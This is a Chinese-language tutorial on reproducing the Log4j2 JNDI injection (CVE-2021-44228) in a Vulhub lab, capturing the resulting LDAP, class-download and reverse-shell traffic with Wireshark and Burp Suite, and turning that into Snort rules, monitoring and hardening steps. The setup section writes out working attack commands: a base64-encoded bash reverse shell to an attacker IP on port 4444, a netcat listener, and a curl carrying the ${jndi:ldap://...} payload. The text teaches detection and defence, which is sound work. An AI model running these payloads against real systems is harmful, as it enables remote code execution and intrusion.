1. 项目概述从“知道”到“抓到”的实战跨越如果你是一名安全工程师、运维人员或者是对网络安全充满好奇的开发者那么“Log4j2漏洞”这个词对你来说一定不陌生。从2021年底爆发至今它依然是安全领域一个绕不开的经典案例。我们经常在各种分析文章、漏洞报告中看到类似${jndi:ldap://evil.com/a}这样的攻击载荷知道它很危险能导致远程代码执行。但你是否想过当这样的攻击真实发生时它在网络世界里究竟长什么样它如何在你的眼皮底下穿过防火墙、负载均衡最终抵达你的应用服务器仅仅知道一个漏洞编号和攻击字符串就像只认识通缉犯的照片却不知道他如何作案、会留下什么痕迹。这就是我们今天要做的不再停留在理论层面“盯着”那个${jndi:ldap}字符串而是拿起“网络显微镜”Wireshark和“应用手术刀”Burp Suite亲手搭建一个靶场环境发起一次模拟攻击并完整地捕获、分析攻击产生的真实网络流量。通过这个过程你将直观地看到一次完整的Log4j2 JNDI注入攻击在网络层和应用层留下的完整“足迹”。这不仅能让你深刻理解漏洞的利用链更能让你掌握一套在真实环境中检测、排查此类攻击的实战技能。无论你是想加固自己的系统还是作为安全响应人员需要分析安全事件这篇文章都将提供一份可以直接“抄作业”的完整操作指南。2. 环境准备与工具选型构建你的安全分析沙箱工欲善其事必先利其器。在开始抓包之前我们需要一个安全、可控的测试环境。直接在公网或生产环境进行测试是绝对禁止的这不仅危险还可能违法。因此搭建一个本地的、隔离的沙箱环境是我们的第一步。2.1 靶场环境搭建Vulhub的便捷之道为了复现Log4j2漏洞我们不需要从零开始编写一个存在漏洞的Spring Boot应用。社区里已经有非常成熟且安全的漏洞靶场项目这里我强烈推荐Vulhub。Vulhub是一个基于Docker和Docker-compose的漏洞环境集合一键启动用完即删非常适合学习和测试。操作步骤安装Docker与Docker-compose确保你的Linux或macOS系统Windows用户可使用WSL2已经安装了Docker Engine和Docker-compose。这是Vulhub运行的基础。下载Vulhub通过Git克隆项目到本地。git clone https://github.com/vulhub/vulhub.git cd vulhub启动Log4j2靶场进入对应的漏洞目录使用docker-compose启动环境。cd log4j2/CVE-2021-44228 docker-compose up -d执行后Docker会拉取镜像并启动一个存在Log4j2漏洞的简单Web应用通常运行在8080端口。注意请务必在虚拟机或隔离的网络环境中进行此操作。虽然Vulhub是用于教育的但任何漏洞利用行为都应在授权范围内进行。环境解析这个靶场模拟了一个接收HTTP参数并将其记录到日志的Web接口。当我们传入包含${jndi:ldap://...}的恶意参数时存在漏洞的Log4j2库就会去解析这个JNDI查找从而触发后续的利用链。我们的攻击目标就是它。2.2 攻击工具准备从LDAP服务器到利用载荷一次完整的JNDI注入攻击通常涉及几个角色攻击者、受害应用、恶意的LDAP/RMI服务端、以及最终托管恶意Java类的HTTP服务。为了模拟全流程我们需要准备两个关键组件JNDI注入利用工具这里我们使用一个广泛用于安全测试的Java工具——JNDI-Injection-Exploit。它可以快速启动一个恶意的RMI/LDAP服务并指定远程加载的恶意类地址。下载与运行git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译 mvn clean package -DskipTests # 运行指定恶意类所在的HTTP服务器地址假设为攻击机IP:8000 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}” -A “192.168.1.100”这个命令会启动一个同时监听RMI和LDAP端口的服务。-C参数指定了要执行的命令这里是一个经过Base64编码的反向Shell命令解码后会尝试连接到192.168.1.100:4444-A参数指定了托管恶意class文件的HTTP服务器地址即你的攻击机IP。恶意HTTP服务器与监听端我们需要一个简单的HTTP服务器来提供恶意class文件并用netcat监听反向Shell的连接。启动HTTP服务在JNDI工具所在目录因为工具会生成exploit.classpython3 -m http.server 8000启动Netcat监听nc -lvnp 4444工具选型理由选择JNDI-Injection-Exploit是因为它集成度高一键启动RMI/LDAP服务并自动生成对应的利用URL非常适合教学和演示。在生产环境检测中攻击者可能会使用更隐蔽的工具但网络流量的基本特征是相似的。2.3 流量分析双雄Wireshark与Burp Suite的分工为什么需要两个工具因为它们观察的层次和维度不同互补才能看到全貌。Wireshark网络层的“全知眼”Wireshark工作在数据链路层和网络层能捕获流经网卡的所有原始数据包TCP/IP包。它的强大在于“全量”和“原始”。你可以看到一次HTTP请求背后所有的TCP三次握手、TLS握手如果是HTTPS、实际的HTTP数据包以及最终的TCP连接断开。对于Log4j2攻击Wireshark能帮你看到受害应用向恶意LDAP服务器发起的LDAP协议查询。随后受害应用向恶意HTTP服务器发起的HTTP GET请求用于下载exploit.class文件。攻击成功后反向Shell建立的TCP连接到4444端口。 这些都是独立于应用逻辑的、最底层的网络行为证据。Burp Suite应用层的“手术刀”Burp Suite是一个Web应用安全测试平台通常作为浏览器和服务器之间的代理。它主要工作在应用层HTTP/HTTPS。所有经过代理的HTTP(S)请求和响应都会被它拦截、记录、并允许你查看和修改。对于Log4j2攻击Burp Suite能帮你清晰地看到触发漏洞的那个原始HTTP请求包括请求头、参数其中就包含${jndi:ldap://...}。查看应用返回的响应有时可能包含错误信息。方便地重放(Replay)攻击请求进行反复测试。 但它看不到LDAP流量和最终的反向Shell TCP流量因为这些不属于HTTP协议。总结一下分工Burp Suite告诉你“攻击者发送了什么恶意HTTP请求”而Wireshark则告诉你“这个恶意请求之后服务器在底层偷偷做了什么发起LDAP查询、下载class文件、建立反向连接”。两者结合才能完成从攻击入口到危害后果的完整取证。3. 实战抓包发起攻击并捕获完整流量链环境就绪工具备好现在让我们发起攻击并同时开启Wireshark和Burp Suite捕获这稍纵即逝的“犯罪现场”。3.1 配置Burp Suite代理与浏览器首先确保Burp Suite的代理监听器是开启的默认127.0.0.1:8080。然后配置你的浏览器或系统网络代理将HTTP和HTTPS流量指向Burp Suite。这里以Firefox浏览器为例在网络设置中手动配置代理为127.0.0.1端口8080。关键一步安装Burp Suite的CA证书。为了能够拦截和解密HTTPS流量虽然我们的靶场是HTTP但好习惯要养成你需要在浏览器中安装Burp Suite生成的CA证书。具体步骤为用浏览器访问http://burpsuite下载证书并在浏览器的证书管理器中导入并信任它。这样Burp Suite才能成为合格的“中间人”。3.2 启动Wireshark并选择抓包接口打开Wireshark在接口列表中选择正确的网络接口。如果你是在虚拟机中运行靶场通常需要选择虚拟网卡如eth0或虚拟网卡对应的接口。如果是在本机Docker环境Docker会创建一个虚拟网络如docker0选择它才能抓到容器流量。一个简单的判断方法是看哪个接口有持续的流量波动。开始抓包前可以暂时不设置过滤条件以免遗漏任何数据包。3.3 构造并发送攻击请求现在通过已配置代理的浏览器或使用curl命令向靶场应用发送攻击载荷。假设靶场应用地址是http://192.168.1.200:8080它有一个/hello端点接收一个name参数。我们的攻击载荷是JNDI-Injection-Exploit生成的LDAP URL格式通常为${jndi:ldap://你的攻击机IP:1389/Basic/Command/Base64/...}。使用curl发送请求curl -v ‘http://192.168.1.200:8080/hello?name%24%7Bjndi%3Aldap%3A%2F%2F192.168.1.100%3A1389%2FBasic%2FCommand%2FBase64%2FYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ%3D%3D%7D’注意这里对${和}等字符进行了URL编码%24%7B和%7D这是HTTP传输中的常见情况。Burp Suite在拦截时会自动将其解码显示方便我们查看。3.4 同时捕获Burp Suite与Wireshark的视角发送请求后立即切换到两个工具观察Burp Suite视角在Proxy - Intercept标签页如果你开启了拦截会看到被拦截的GET请求。请求的查询参数name中清晰地显示着解码后的${jndi:ldap://192.168.1.100:1389/Basic/Command/Base64/...}字符串。切换到HTTP history标签页你能看到这次请求的历史记录包括完整的请求和响应头、响应体。响应体可能很简单但攻击已经注入。Wireshark视角此时Wireshark的抓包界面应该开始滚动大量数据包。我们需要进行过滤来找到关键流量。首先找到受害服务器192.168.1.200与攻击机192.168.1.100之间的流量。一个有效的过滤语句是ip.addr 192.168.1.100 ip.addr 192.168.1.200。应用过滤后你应该能看到三个关键阶段的TCP流 a.LDAP查询受害服务器200向攻击机的1389端口LDAP发起连接。你可以右键数据包 - “追踪流” - “TCP流”会看到一个LDAP协议的数据流其中包含searchRequest等操作这是Log4j2在解析JNDI后尝试进行LDAP查找。 b.HTTP下载Class紧接着受害服务器向攻击机的8000端口HTTP发起一个GET请求路径类似于/Basic/Command/Base64/...这正是去下载恶意Java类的请求。在TCP流中你能看到HTTP请求和响应响应体是一个Java class文件的二进制内容。 c.反向Shell连接如果漏洞利用成功受害服务器会尝试向攻击机的4444端口发起TCP连接。这就是我们之前用nc监听的那个端口。在Wireshark中你会看到一条新的TCP流目标端口是4444。实操心得在实际抓包时网络背景噪音可能很多。一个高效的技巧是在发起攻击前在Wireshark中使用tcp.port 1389 or tcp.port 8000 or tcp.port 4444这样的过滤条件直接关注我们攻击涉及的关键端口能极大提升分析效率。4. 流量深度解析从数据包中还原攻击故事捕获到流量只是第一步像侦探一样解读这些数据包才能还原出完整的攻击链。我们分别从应用层和网络层来拆解。4.1 Burp Suite视角攻击的发起与入口点在Burp Suite的HTTP历史记录中找到那条攻击请求深入查看请求行GET /hello?name...。这告诉我们漏洞触发的端点和方法。攻击载荷在name参数值中${jndi:ldap://...}清晰可见。这是最直接、最关键的攻击证据。在真实的安全事件响应中从Web访问日志或应用日志中搜索这种模式是最初级的检测手段。请求头注意观察User-Agent、X-Forwarded-For等头部。攻击者可能在此处也尝试注入或者这些信息可以帮助你追溯攻击源。响应靶场应用的响应可能很简单比如“Hello, ${jndi:ldap...}”。这并不意味着攻击失败。因为漏洞的触发和利用发生在服务端日志记录阶段与返回给客户端的响应无关。这是很多新手容易混淆的点攻击是否成功不能只看HTTP响应。Burp Suite的延伸利用你可以将这条请求发送到Repeater模块修改LDAP URL中的IP或端口反复测试观察Wireshark中流量变化加深理解。4.2 Wireshark视角漏洞触发的底层网络行为Wireshark展示的是Burp Suite看不到的“后台故事”。我们逐一分析三个阶段阶段一LDAP协议查询端口1389在过滤出的数据包中找到目标端口为1389的TCP流。右键 - “追踪流” - “TCP流”。弹出的窗口会以ASCII或十六进制形式显示该TCP连接的所有数据。你应该能看到类似以下的结构已简化... searchRequest ... ldap://192.168.1.100:1389/Basic/Command/Base64/... objectClassjavaNamingReference ...这表示受害服务器向攻击机的LDAP服务发起了一次查询查询的内容正是我们注入的JNDI地址中的路径。恶意的LDAP服务器随后会返回一个reference告诉受害者“你要的类不在我这你去http://192.168.1.100:8000/...这个地址下载吧”。这个“重定向”信息就包含在LDAP响应中。阶段二HTTP下载恶意类端口8000紧接着找到目标端口为8000的TCP流追踪TCP流。这次你会看到一个清晰的HTTP对话请求GET /Basic/Command/Base64/YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ HTTP/1.1响应HTTP/1.1 200 OK在响应体部分是一串乱码般的二进制数据这就是恶意的exploit.class文件。 Wireshark甚至能帮你导出这个文件在追踪TCP流的窗口将显示格式改为“原始数据”然后另存为.class文件。你可以用javap -c命令反编译这个class文件看到它内部就是去执行我们指定的Base64编码后的命令。阶段三反向Shell连接建立端口4444最后找到目标端口为4444的TCP流。如果漏洞利用成功且目标服务器出网不受限制这里会建立一个新的TCP连接。追踪这个TCP流你可能会看到一些交互式的命令提示符如bash-4.2$这就是反向Shell的通道。攻击者已经可以在这一连接上执行任意命令了。网络行为特征总结时序性一次成功的攻击会严格按照HTTP请求带JNDI- LDAP查询 - HTTP下载 - 反向TCP连接的顺序产生网络流量。端口特征短时间内从同一源IP受害服务器向外部可疑IP的非常用端口如1389/LDAP, 8000/HTTP, 4444/TCP发起连接是极强的异常信号。协议混合一次Web请求却引发了LDAP和额外的HTTP请求这种协议混合行为本身就很可疑。5. 基于流量的检测与防御策略构建分析完攻击流量我们的目标就变成了如何利用这些知识在真实网络中提前发现并阻止此类攻击5.1 网络层检测基于Wireshark/IDS/IPS规则网络入侵检测/防御系统NIDS/NIPS如Suricata、Snort其规则本质就是对网络流量特征的描述。我们可以根据上面的分析编写检测规则。检测思路一检测JNDI注入模式虽然攻击载荷可能被编码、混淆但${jndi:这个模式在早期、简单的攻击中仍然常见。我们可以编写Snort规则alert tcp any any - any any (msg:“Potential Log4j2 JNDI Injection Pattern”; content:“${jndi:”; nocase; http_client_body; sid:1000001; rev:1;)这条规则会在HTTP客户端请求体中检测不区分大小写的${jndi:字符串。但高级攻击者会使用各种绕过技巧如${${lower:j}ndi:、${jndi:${lower:l}${lower:d}ap...}等。检测思路二检测异常LDAP外联更可靠这是更底层、更难以绕过的检测点。内网的Web服务器通常没有理由主动向外网的LDAP服务默认端口389或攻击者自定义的高位端口发起连接。alert ip $INTERNAL_NETS any - $EXTERNAL_NETS [389,1389,1636,636] (msg:“Internal host attempting LDAP connection to external network”; dsize:0; sid:1000002; rev:1;)这条规则检测从内部网络到外部网络的LDAP连接尝试。需要将$INTERNAL_NETS和$EXTERNAL_NETS替换为你网络的实际变量。检测思路三检测异常Java Class文件下载Web服务器在响应了一个用户请求后紧接着又作为客户端去下载一个.class文件这行为极其可疑。可以检测HTTP响应头中的Content-Type包含java或响应URL路径以.class结尾的对外请求。alert tcp $INTERNAL_NETS any - $EXTERNAL_NETS 80,443,8000,8080 (msg:“Potential Malicious Java Class Download”; flow:to_server,established; content:“.class”; http_uri; nocase; sid:1000003; rev:1;)5.2 应用层/主机层检测与响应网络检测可能存在盲点如加密流量、内部横向移动因此需要结合应用层和主机层的监控。日志监控这是第一道防线。在应用的日志聚合系统如ELK Stack中设置告警规则实时扫描应用日志文件寻找${jndi:、${ldap:、${rmi:等模式。注意要考虑到各种大小写转换、编码的绕过变种。主机进程监控利用HIDS主机入侵检测系统如Osquery、Wazuh监控服务器上是否有异常进程启动。例如在Log4j2漏洞利用成功后通常会启动一个bash、sh或python进程来执行攻击载荷。监控/bin/bash、/bin/sh等敏感二进制文件的执行并关联其父进程和命令行参数是发现入侵的有效手段。出站连接监控在服务器上使用netstat、ss命令或通过HIDS监控服务器发起的异常出站网络连接。重点关注连接到外部非常用端口如1389, 4444, 9999等的连接。结合进程网络连接信息可以定位到是哪个Java进程发起了可疑连接。5.3 防御加固建议检测是“治标”加固才是“治本”。紧急缓解设置Log4j2系统属性在Java应用启动参数中添加-Dlog4j2.formatMsgNoLookupstrueLog4j 2.10及以上。这是漏洞爆发初期最有效的临时缓解措施。移除JndiLookup类对于无法升级的旧版本可以从log4j-core的jar包中物理删除org/apache/logging/log4j/core/lookup/JndiLookup.class文件。命令示例zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。网络层隔离严格限制服务器尤其是Web、应用服务器的出站连接。使用防火墙或安全组策略只允许访问必要的白名单地址和端口如数据库、缓存、内部API等阻断所有到外部LDAP、RMI、HTTP服务的连接。这是阻断漏洞利用链最彻底的方法。根本解决升级Log4j2立即将Log4j2组件升级到官方发布的安全版本如2.17.1, 2.12.4, 2.3.2等这些版本默认禁用了有风险的JNDI查找功能。供应链安全扫描使用SCA软件成分分析工具如OWASP Dependency-Check、Trivy等对项目依赖进行常态化扫描及时发现并修复存在已知漏洞的组件。运行时保护考虑使用RASP运行时应用自我保护技术在应用内部监控并阻断可疑的JNDI查找、类加载、命令执行等危险行为。6. 高级技巧与疑难问题排查在实际操作和真实环境分析中你可能会遇到一些复杂情况。这里分享一些进阶技巧和排查思路。6.1 当攻击流量被加密HTTPS时怎么办现代Web应用普遍使用HTTPS这给流量分析带来了挑战。Wireshark抓到的HTTPS流量是加密的TLS记录看不到内部的HTTP请求。解决方案一配置SSL/TLS密钥解密针对测试环境如果你拥有服务器的私钥可以在Wireshark中配置使其能解密TLS流量。在Wireshark中进入编辑 - 首选项 - Protocols - TLS。在(Pre)-Master-Secret log filename选项中指定一个文件路径。在启动Java应用靶场时添加JVM参数-javax.net.debugssl:keymanager:handshake -Dssl.keyLogFile/path/to/sslkey.log。这会让JVM将会话密钥写入指定文件。Wireshark会读取这个文件自动解密对应的TLS流量。解决方案二依赖Burp Suite作为中间人在实战分析中更常用的方法是通过Burp Suite这样的代理工具。因为浏览器信任了Burp的CA证书所以Burp Suite可以解密HTTPS流量让你在应用层看到明文的HTTP请求和响应。对于网络层的LDAP等流量它们本身不是HTTPSWireshark依然可以直接查看。6.2 如何区分扫描流量与真实攻击流量互联网上充斥着大量的自动化漏洞扫描器它们会批量发送包含${jndi:ldap://dnslog.cn}等探测载荷的请求。这些流量特征明显但通常不会携带真正的恶意LDAP地址因为攻击者只是用它来探测漏洞是否存在通过DNS记录确认。区分要点目标LDAP地址扫描流量中的LDAP地址通常是公开的DNSLog平台如dnslog.cn,ceye.io而真实攻击的地址是攻击者控制的恶意服务器。后续连接行为扫描流量在发送JNDI载荷后不会有后续的向恶意LDAP/HTTP服务器发起的连接。而真实攻击只要目标存在漏洞且网络可达就一定会产生我们之前抓到的第二阶段LDAP查询和第三阶段HTTP下载流量。载荷复杂度扫描载荷通常简单、标准化。真实攻击载荷可能经过多层编码、混淆并指向攻击者精心搭建的、存活时间很短的“飞燕”式服务器。在Wireshark中如果你只看到了带有${jndi:的HTTP请求包却没有看到从服务器发往外部可疑IP的后续LDAP或HTTP请求包那么这很可能只是一次扫描行为。6.3 实战排查案例服务器已修补为何还有可疑外联有时即使确认Log4j2已升级到安全版本监控系统仍然告警服务器有异常外联如连接陌生IP的1389端口。这可能的原因有残留进程或连接漏洞利用时可能已经建立了持久化的后门或反弹Shell这些进程在漏洞修复后依然存在并保持连接。使用netstat -antp或lsof -i命令查看具体是哪个进程在连接外部IP然后终止该进程并彻底排查。其他组件的漏洞JNDI注入并非Log4j2独有。其他使用JNDI的Java库或框架如某些旧的Fastjson版本、不安全的反序列化点也可能被利用。需要全面审查应用的所有依赖。误报服务器上运行的其他合法应用可能需要连接LDAP服务如员工认证。需要结合连接的目的IP、端口、以及进程信息进行综合判断。建立内部服务的端口白名单基线非常重要。排查步骤建议第一步定位进程。使用ss -antp | grep :1389或lsof -i:1389找到发起连接的进程PID。第二步检查进程信息。通过ps -ef | grep或cat /proc//cmdline查看该进程的完整命令行和路径。第三步分析进程来源。检查该进程对应的JAR包或应用使用SCA工具扫描其依赖确认是否存在其他脆弱组件。同时检查服务器的crontab、systemd服务、启动脚本等看是否有可疑的持久化配置。通过这样一次从环境搭建、攻击模拟、流量捕获到深度分析和策略构建的完整旅程你不仅彻底理解了Log4j2漏洞的利用链更重要的是掌握了一套分析、检测和应对此类高级威胁的实战方法。安全研究的意义不在于记住多少个CVE编号而在于拥有透过现象看本质在数据的洪流中捕捉蛛丝马迹的能力。下次再看到安全警报希望你能自信地打开Wireshark开始你的调查。
